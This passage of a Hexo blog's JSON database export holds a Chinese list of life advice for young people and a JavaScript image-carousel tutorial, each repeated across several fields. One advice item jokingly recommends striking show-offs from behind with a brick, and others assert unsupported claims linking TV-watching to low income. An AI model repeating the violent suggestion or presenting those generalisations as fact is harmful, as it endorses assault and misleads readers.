2、这个世界,有这么一小撮的人,打开报纸,是他们的消息,打开电视,是他们的消息,街头巷尾,议论的事他们的消息,仿佛世界是为他们准备的,他们能够呼风唤雨,无所不能。你的目标,应该是努力成为这一小撮人。\n\n* 3、如果,你真的爱你的爸妈,爱你的女朋友,就好好得去奋斗,去拼搏吧,这样,你才有能力,有经济条件,有自由时间,去陪她们,去好好爱他们。\n\n* 4、这个社会,是赢家通吃,输者一无所有,社会,永远都是只以成败论英雄。过程只是人生的一部分,再辛苦,没有成功只能说明你的能力还不够。\n\n* 5、这个世界上,一流的人才,可以把三流项目做成二流或更好,但是,三流人才,会把一流项目,做的还不如三流。\n\n* 6、趁着年轻,多出去走走看看,读万卷书,不如行万里路,行万里路,不如阅人无数。\n\n* 7、与人交往的时候,多听少说,这就是,上帝为什么给我们一个嘴巴两个耳朵的原因。\n\n* 8、不要装13,对于装13的人,最好的办法就是,见块砖头,悄悄跟上去,一下子从背后放到他。\n\n* 9、一个年轻人,如果三年的时间里,没有任何想法,他这一生,就基本这个样子,没有多大改变了。\n\n* 10、成功者就是胆识加魄力。\n\n* 11、给自己定一个五年的目标,然后,把它分解成一年一年,半年半年的,三个月的,一个月的,这样,你才能找到自己的目标和方向。\n\n* 12、如果我只能送你一句忠告,那就是,这个世界上没有免费的午餐,永远不要走捷径。\n\n### 忠告\n\n* 1、给自己定目标,一年、两年、五年,也许你出生不如别人好,通过努力,往往可以改变70%的命运,破罐子破摔只能和懦弱做朋友。\n\n* 2、朋友请你吃饭,不要觉得理所当然,请礼尚往来,否则你的名声会越来越差。\n\n* 3、好朋友里面,一定要培养出一个知己,不要以为你有多么八面玲珑,到处是朋友,最后真心对你的,只要一个,相信我。\n\n* 4、不喜欢的人少接触,但别在背后说坏话,说是非之人,必定是是非之人,谨记,祸从口出。\n\n* 5、是人都有惰性,这是与生俱来的,但是我们后天可以改变这种惰性,因为有很多人正在改变,对于某种事物或是生意不要等别人做到了,我才想到,不要等别人已经赚到钱了,我才想去做,没有人相信的是市场和机遇,大家都相信的叫做膨胀。\n\n* 6、知道自己要干什么,夜深人静,问问自己,将来的打算,并朝着那个方向去实现,而不是无所事事和做一些无谓的事。\n\n* 7、出路出路,走出去了,总是会有路的,困难苦难,困在家里就是难,社会普遍认为。\n\n* 8、做人,要做到;万事孝为先,教童品之道,夫妻和谐美,幸福万年长。但是这些不是拿来用嘴说说就能办到的,解放初期年代要做到这些,需要付出很大的努力和辛苦,当今现实的社会需要你付出很大的金钱,聪明的人都知道这个道理。\n\n* 9、空闲时间不要经常上网做无聊的事和玩一些没有意义的游戏,读点文学作品,学习一些经营流程,管理规范,国际时事,法律常识。这能保证你在任何聚会都有谈资。\n\n* 10、宁可错杀一千次来自各方面的信息,也不放过任何一个有可能成功的机会。只有这样你才不会去买后悔药。\n\n* 11、要做一件事,成功之前,没有必要告诉其他人。成功之后不用你说,其他人都会知道的。这就是信息时代所带来的效应。\n\n* 12、力求上进的人,不要总想着靠谁谁,人都是自私的,自己才是最靠得住的人。\n\n### 小结\n> 二十岁没钱,那很正常;三十岁没钱,可能是没有好的家境,需要更大的努力;四十岁没钱,只能自己找原因。穷人变成富人是可能的,而且很可能。穷人能穷一辈子,也是必然的,存在就是理由,只是有所选择。\n","slug":"董思阳的忠告","published":1,"updated":"2018-01-22T06:43:00.546Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y7h0052vzqhg122vhhg","content":"1、记住,平均每天看电视超过三小时以上的,一定都是那些月收入不超过两千元的,如果你想要月收入超过两千,请不要把时间浪费在电视上,同样的道理,那些平均每天玩网络游戏或聊天超过三个小时以上的,也都是那些月收入不超过两千的。
\n2、这个世界,有这么一小撮的人,打开报纸,是他们的消息,打开电视,是他们的消息,街头巷尾,议论的事他们的消息,仿佛世界是为他们准备的,他们能够呼风唤雨,无所不能。你的目标,应该是努力成为这一小撮人。
\n3、如果,你真的爱你的爸妈,爱你的女朋友,就好好得去奋斗,去拼搏吧,这样,你才有能力,有经济条件,有自由时间,去陪她们,去好好爱他们。
\n4、这个社会,是赢家通吃,输者一无所有,社会,永远都是只以成败论英雄。过程只是人生的一部分,再辛苦,没有成功只能说明你的能力还不够。
\n5、这个世界上,一流的人才,可以把三流项目做成二流或更好,但是,三流人才,会把一流项目,做的还不如三流。
\n6、趁着年轻,多出去走走看看,读万卷书,不如行万里路,行万里路,不如阅人无数。
\n7、与人交往的时候,多听少说,这就是,上帝为什么给我们一个嘴巴两个耳朵的原因。
\n8、不要装13,对于装13的人,最好的办法就是,见块砖头,悄悄跟上去,一下子从背后放到他。
\n9、一个年轻人,如果三年的时间里,没有任何想法,他这一生,就基本这个样子,没有多大改变了。
\n10、成功者就是胆识加魄力。
\n11、给自己定一个五年的目标,然后,把它分解成一年一年,半年半年的,三个月的,一个月的,这样,你才能找到自己的目标和方向。
\n12、如果我只能送你一句忠告,那就是,这个世界上没有免费的午餐,永远不要走捷径。
\n1、给自己定目标,一年、两年、五年,也许你出生不如别人好,通过努力,往往可以改变70%的命运,破罐子破摔只能和懦弱做朋友。
\n2、朋友请你吃饭,不要觉得理所当然,请礼尚往来,否则你的名声会越来越差。
\n3、好朋友里面,一定要培养出一个知己,不要以为你有多么八面玲珑,到处是朋友,最后真心对你的,只要一个,相信我。
\n4、不喜欢的人少接触,但别在背后说坏话,说是非之人,必定是是非之人,谨记,祸从口出。
\n5、是人都有惰性,这是与生俱来的,但是我们后天可以改变这种惰性,因为有很多人正在改变,对于某种事物或是生意不要等别人做到了,我才想到,不要等别人已经赚到钱了,我才想去做,没有人相信的是市场和机遇,大家都相信的叫做膨胀。
\n6、知道自己要干什么,夜深人静,问问自己,将来的打算,并朝着那个方向去实现,而不是无所事事和做一些无谓的事。
\n7、出路出路,走出去了,总是会有路的,困难苦难,困在家里就是难,社会普遍认为。
\n8、做人,要做到;万事孝为先,教童品之道,夫妻和谐美,幸福万年长。但是这些不是拿来用嘴说说就能办到的,解放初期年代要做到这些,需要付出很大的努力和辛苦,当今现实的社会需要你付出很大的金钱,聪明的人都知道这个道理。
\n9、空闲时间不要经常上网做无聊的事和玩一些没有意义的游戏,读点文学作品,学习一些经营流程,管理规范,国际时事,法律常识。这能保证你在任何聚会都有谈资。
\n10、宁可错杀一千次来自各方面的信息,也不放过任何一个有可能成功的机会。只有这样你才不会去买后悔药。
\n11、要做一件事,成功之前,没有必要告诉其他人。成功之后不用你说,其他人都会知道的。这就是信息时代所带来的效应。
\n12、力求上进的人,不要总想着靠谁谁,人都是自私的,自己才是最靠得住的人。
\n\n\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"二十岁没钱,那很正常;三十岁没钱,可能是没有好的家境,需要更大的努力;四十岁没钱,只能自己找原因。穷人变成富人是可能的,而且很可能。穷人能穷一辈子,也是必然的,存在就是理由,只是有所选择。
\n
1、记住,平均每天看电视超过三小时以上的,一定都是那些月收入不超过两千元的,如果你想要月收入超过两千,请不要把时间浪费在电视上,同样的道理,那些平均每天玩网络游戏或聊天超过三个小时以上的,也都是那些月收入不超过两千的。
\n2、这个世界,有这么一小撮的人,打开报纸,是他们的消息,打开电视,是他们的消息,街头巷尾,议论的事他们的消息,仿佛世界是为他们准备的,他们能够呼风唤雨,无所不能。你的目标,应该是努力成为这一小撮人。
\n3、如果,你真的爱你的爸妈,爱你的女朋友,就好好得去奋斗,去拼搏吧,这样,你才有能力,有经济条件,有自由时间,去陪她们,去好好爱他们。
\n4、这个社会,是赢家通吃,输者一无所有,社会,永远都是只以成败论英雄。过程只是人生的一部分,再辛苦,没有成功只能说明你的能力还不够。
\n5、这个世界上,一流的人才,可以把三流项目做成二流或更好,但是,三流人才,会把一流项目,做的还不如三流。
\n6、趁着年轻,多出去走走看看,读万卷书,不如行万里路,行万里路,不如阅人无数。
\n7、与人交往的时候,多听少说,这就是,上帝为什么给我们一个嘴巴两个耳朵的原因。
\n8、不要装13,对于装13的人,最好的办法就是,见块砖头,悄悄跟上去,一下子从背后放到他。
\n9、一个年轻人,如果三年的时间里,没有任何想法,他这一生,就基本这个样子,没有多大改变了。
\n10、成功者就是胆识加魄力。
\n11、给自己定一个五年的目标,然后,把它分解成一年一年,半年半年的,三个月的,一个月的,这样,你才能找到自己的目标和方向。
\n12、如果我只能送你一句忠告,那就是,这个世界上没有免费的午餐,永远不要走捷径。
\n1、给自己定目标,一年、两年、五年,也许你出生不如别人好,通过努力,往往可以改变70%的命运,破罐子破摔只能和懦弱做朋友。
\n2、朋友请你吃饭,不要觉得理所当然,请礼尚往来,否则你的名声会越来越差。
\n3、好朋友里面,一定要培养出一个知己,不要以为你有多么八面玲珑,到处是朋友,最后真心对你的,只要一个,相信我。
\n4、不喜欢的人少接触,但别在背后说坏话,说是非之人,必定是是非之人,谨记,祸从口出。
\n5、是人都有惰性,这是与生俱来的,但是我们后天可以改变这种惰性,因为有很多人正在改变,对于某种事物或是生意不要等别人做到了,我才想到,不要等别人已经赚到钱了,我才想去做,没有人相信的是市场和机遇,大家都相信的叫做膨胀。
\n6、知道自己要干什么,夜深人静,问问自己,将来的打算,并朝着那个方向去实现,而不是无所事事和做一些无谓的事。
\n7、出路出路,走出去了,总是会有路的,困难苦难,困在家里就是难,社会普遍认为。
\n8、做人,要做到;万事孝为先,教童品之道,夫妻和谐美,幸福万年长。但是这些不是拿来用嘴说说就能办到的,解放初期年代要做到这些,需要付出很大的努力和辛苦,当今现实的社会需要你付出很大的金钱,聪明的人都知道这个道理。
\n9、空闲时间不要经常上网做无聊的事和玩一些没有意义的游戏,读点文学作品,学习一些经营流程,管理规范,国际时事,法律常识。这能保证你在任何聚会都有谈资。
\n10、宁可错杀一千次来自各方面的信息,也不放过任何一个有可能成功的机会。只有这样你才不会去买后悔药。
\n11、要做一件事,成功之前,没有必要告诉其他人。成功之后不用你说,其他人都会知道的。这就是信息时代所带来的效应。
\n12、力求上进的人,不要总想着靠谁谁,人都是自私的,自己才是最靠得住的人。
\n\n\n"},{"title":"解析卡片式轮播图","date":"2017-06-24T15:18:35.000Z","_content":"\n> 小记:前两天面试,展现项目过程中经理问我轮播图的原理,我一脸懵逼,因为当时有现成的插件,所以我没怎么去研究,当然,我也知道该来的还是要来的...\n\n首先我大概讲一下,传统轮播图的主要部分:\n* 图片(废话)\n* 左右两边的button\n* 可以跳转的小点\n[demo](http://jzxer.cn/card/)\n\n### 原理\n* 轮播图的原理就是一个长图,里面有很多张图,外面包一层展示窗口,将属性设置成overflow:hidden,达到只显示一张的效果,当点击左右两边的按钮时会按照像素来跳转\n\n### 无限滚动\n* 我给两个按钮设为 prev next 一个在点击后,长图会增加一张图的宽度,一个是减少一个图的宽度,在图片的头和尾部加一张图,结构大概为:\n```\n二十岁没钱,那很正常;三十岁没钱,可能是没有好的家境,需要更大的努力;四十岁没钱,只能自己找原因。穷人变成富人是可能的,而且很可能。穷人能穷一辈子,也是必然的,存在就是理由,只是有所选择。
\n
\n\n小记:前两天面试,展现项目过程中经理问我轮播图的原理,我一脸懵逼,因为当时有现成的插件,所以我没怎么去研究,当然,我也知道该来的还是要来的…
\n
首先我大概讲一下,传统轮播图的主要部分:
\n<div id="list" style="left:-200px">\n <img src="./img/5.jpg" alt="">\n <img src="./img/1.jpg" alt="">\n <img src="./img/2.jpg" alt="">\n <img src="./img/3.jpg" alt="">\n <img src="./img/4.jpg" alt="">\n <img src="./img/5.jpg" alt="">\n <img src="./img/1.jpg" alt="">\n </div>\n
当是最后一张图或第一张图时,将第一张上一张跳转为最后一张时的宽,最后一张跳转为第一张时的宽if (newList < -1000) {\n dot = 1\n list.style.left = -200 + 'px'\n }\n if (newList > -200) {\n dot = 5\n list.style.left = -1000 + 'px'\n }\n
这要实现的思想有
\nfunction showBtn() {\n for (var i = 0; i < btns.length; i++) {\n if (btns[i].className == 'show-btn') {\n btns[i].className = ''\n break\n }\n }\n btns[dot-1].className = 'show-btn'\n }\n//遍历数组,将有该属性设为空\n\nfor (var i = 0; i < btns.length; i++) {\n btns[i].onclick = function () {\n if (this.className == 'showBtn') {\n return\n }\n var myIndex = parseInt(this.getAttribute('index'))\n var leng = -200 * (myIndex - dot)\n animate(leng)\n dot = myIndex\n showBtn()\n }\n }\n//遍历数组,将每一个小按钮设了个index属性,这里用到 getAttribute 可以获取除了普通style 或 class 之外的一些属性,获取index值,点击时得到当前的index值,正好和当前的dot值相减,可得跳转的距离 \n
\n\n这里要注意的是,当小按钮被重复按的时候,给他一个判断,不然重复点击同一个图标会重复发生相同事件,占内存,耗cpu
\n
就是当用户点击时,有一个慢慢偏移的过程,而不是闪现的动作,我们来看看实现原理
\n首先,定义参数
\nvar time = 300 //位移总时间\nvar interval = 10 //位移时间间隔\nvar speed = leng/(time/interval) //每次位移量,就是一共调用多少次的意思\n
设置递归函数
\nif ((speed < 0 && parseInt(list.style.left) > newList) || (speed > 0 && parseInt(list.style.left) < newList)) {\n list.style.left = parseInt(list.style.left) + speed + 'px'\n setTimeout(go, interval) //递归,调用自身函数\n
判断是否仍在动画
如果用户一直在点击切换图时,如果电脑配置不好,或是其他一些因素,可能会轮播卡顿,为了防止这一现象,就用一个判断来看上一次动画是否完成,若未完成就不能继续切换,等到这次动画跳转完为止`
var animated = false //设初值
if(!animated) {
animate(200)
} //如果为false,则继续动画
\n### 自动播放\n首先给个思路,当鼠标移入的时候,自动播放停止,移出的时候开始自动播放\n* 我们设两个函数,play() 和 stop() \n
function play() {
timer = setTimeout(function() {
next.onclick()
play()
},interval)
}
function stop() {
clearTimeout(timer)
}`
给整个 container 容器添加该鼠标事件
这年头还是不能偷懒啊,说不定当时知道这个人家就把给我要了呢,好气哦…
\n\n\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"改天再研究下旋转木马的那种装个13…
\n
\n\n小记:前两天面试,展现项目过程中经理问我轮播图的原理,我一脸懵逼,因为当时有现成的插件,所以我没怎么去研究,当然,我也知道该来的还是要来的…
\n
首先我大概讲一下,传统轮播图的主要部分:
\n<div id="list" style="left:-200px">\n <img src="./img/5.jpg" alt="">\n <img src="./img/1.jpg" alt="">\n <img src="./img/2.jpg" alt="">\n <img src="./img/3.jpg" alt="">\n <img src="./img/4.jpg" alt="">\n <img src="./img/5.jpg" alt="">\n <img src="./img/1.jpg" alt="">\n </div>\n
当是最后一张图或第一张图时,将第一张上一张跳转为最后一张时的宽,最后一张跳转为第一张时的宽if (newList < -1000) {\n dot = 1\n list.style.left = -200 + 'px'\n }\n if (newList > -200) {\n dot = 5\n list.style.left = -1000 + 'px'\n }\n
这要实现的思想有
\nfunction showBtn() {\n for (var i = 0; i < btns.length; i++) {\n if (btns[i].className == 'show-btn') {\n btns[i].className = ''\n break\n }\n }\n btns[dot-1].className = 'show-btn'\n }\n//遍历数组,将有该属性设为空\n\nfor (var i = 0; i < btns.length; i++) {\n btns[i].onclick = function () {\n if (this.className == 'showBtn') {\n return\n }\n var myIndex = parseInt(this.getAttribute('index'))\n var leng = -200 * (myIndex - dot)\n animate(leng)\n dot = myIndex\n showBtn()\n }\n }\n//遍历数组,将每一个小按钮设了个index属性,这里用到 getAttribute 可以获取除了普通style 或 class 之外的一些属性,获取index值,点击时得到当前的index值,正好和当前的dot值相减,可得跳转的距离 \n
\n\n这里要注意的是,当小按钮被重复按的时候,给他一个判断,不然重复点击同一个图标会重复发生相同事件,占内存,耗cpu
\n
就是当用户点击时,有一个慢慢偏移的过程,而不是闪现的动作,我们来看看实现原理
\n首先,定义参数
\nvar time = 300 //位移总时间\nvar interval = 10 //位移时间间隔\nvar speed = leng/(time/interval) //每次位移量,就是一共调用多少次的意思\n
设置递归函数
\nif ((speed < 0 && parseInt(list.style.left) > newList) || (speed > 0 && parseInt(list.style.left) < newList)) {\n list.style.left = parseInt(list.style.left) + speed + 'px'\n setTimeout(go, interval) //递归,调用自身函数\n
判断是否仍在动画
如果用户一直在点击切换图时,如果电脑配置不好,或是其他一些因素,可能会轮播卡顿,为了防止这一现象,就用一个判断来看上一次动画是否完成,若未完成就不能继续切换,等到这次动画跳转完为止`
var animated = false //设初值
if(!animated) {
animate(200)
} //如果为false,则继续动画
\n### 自动播放\n首先给个思路,当鼠标移入的时候,自动播放停止,移出的时候开始自动播放\n* 我们设两个函数,play() 和 stop() \n
function play() {
timer = setTimeout(function() {
next.onclick()
play()
},interval)
}
function stop() {
clearTimeout(timer)
}`
给整个 container 容器添加该鼠标事件
这年头还是不能偷懒啊,说不定当时知道这个人家就把给我要了呢,好气哦…
\n\n\n"}],"PostAsset":[],"PostCategory":[{"post_id":"cjhiu2y1x0000vzqh9mizcgba","category_id":"cjhiu2y2z0004vzqh0677nevh","_id":"cjhiu2y4e000hvzqhovlhdwwo"},{"post_id":"cjhiu2y2g0002vzqhkbczaphe","category_id":"cjhiu2y3w000bvzqh1q2cw49c","_id":"cjhiu2y4p000nvzqhzfd43v1m"},{"post_id":"cjhiu2y380006vzqhzzlsrm3e","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y4x000uvzqhlto71xm4"},{"post_id":"cjhiu2y3l0008vzqhsd1yzy4u","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y51000yvzqh8icdskfh"},{"post_id":"cjhiu2y4d000gvzqhizz1xr86","category_id":"cjhiu2y4w000tvzqh9jcy8ixq","_id":"cjhiu2y550014vzqhontqsmkx"},{"post_id":"cjhiu2y4z000xvzqhcgxkz270","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y570019vzqhgm4snr15"},{"post_id":"cjhiu2y520010vzqhk6w7jg8k","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y59001cvzqhvjvg3erk"},{"post_id":"cjhiu2y4i000kvzqhs58z74ay","category_id":"cjhiu2y51000zvzqh8av1zfga","_id":"cjhiu2y5b001gvzqh6eek3mre"},{"post_id":"cjhiu2y4o000mvzqh1y0fl86d","category_id":"cjhiu2y560017vzqhb9euinnl","_id":"cjhiu2y5h001kvzqhfzrlozgo"},{"post_id":"cjhiu2y4s000qvzqh4uxki9it","category_id":"cjhiu2y5a001evzqhbqd2lref","_id":"cjhiu2y5k001pvzqhd7u8gfc7"},{"post_id":"cjhiu2y4v000svzqhfc2d8xql","category_id":"cjhiu2y5h001lvzqh0lka6dsg","_id":"cjhiu2y5n001vvzqh5fpuja9r"},{"post_id":"cjhiu2y5m001uvzqh30eql1bb","category_id":"cjhiu2y560017vzqhb9euinnl","_id":"cjhiu2y5q0023vzqh0anrk78f"},{"post_id":"cjhiu2y4x000wvzqh5wsdc0fp","category_id":"cjhiu2y5k001qvzqh16jdyeqd","_id":"cjhiu2y5s0027vzqh4pqhhjnp"},{"post_id":"cjhiu2y5n001xvzqhvh19qz8o","category_id":"cjhiu2y4w000tvzqh9jcy8ixq","_id":"cjhiu2y5t002avzqhjuklkrdg"},{"post_id":"cjhiu2y530013vzqhoq275rpx","category_id":"cjhiu2y5o001yvzqhhrgyfoeo","_id":"cjhiu2y5w002evzqhur08r105"},{"post_id":"cjhiu2y550016vzqhakpd8l4x","category_id":"cjhiu2y5o001yvzqhhrgyfoeo","_id":"cjhiu2y5y002ivzqhwlmxd912"},{"post_id":"cjhiu2y58001avzqh5zjapr8m","category_id":"cjhiu2y5k001qvzqh16jdyeqd","_id":"cjhiu2y61002nvzqh80pipu93"},{"post_id":"cjhiu2y5y002jvzqh2dz5r8my","category_id":"cjhiu2y2z0004vzqh0677nevh","_id":"cjhiu2y65002svzqhjlx4r4j0"},{"post_id":"cjhiu2y59001dvzqhfd2a6ugy","category_id":"cjhiu2y5x002hvzqh38b5k9w1","_id":"cjhiu2y66002wvzqhc474pgnn"},{"post_id":"cjhiu2y5b001hvzqhe9qrbbx3","category_id":"cjhiu2y5o001yvzqhhrgyfoeo","_id":"cjhiu2y690031vzqhd653bg73"},{"post_id":"cjhiu2y5e001jvzqh1z3j6uxh","c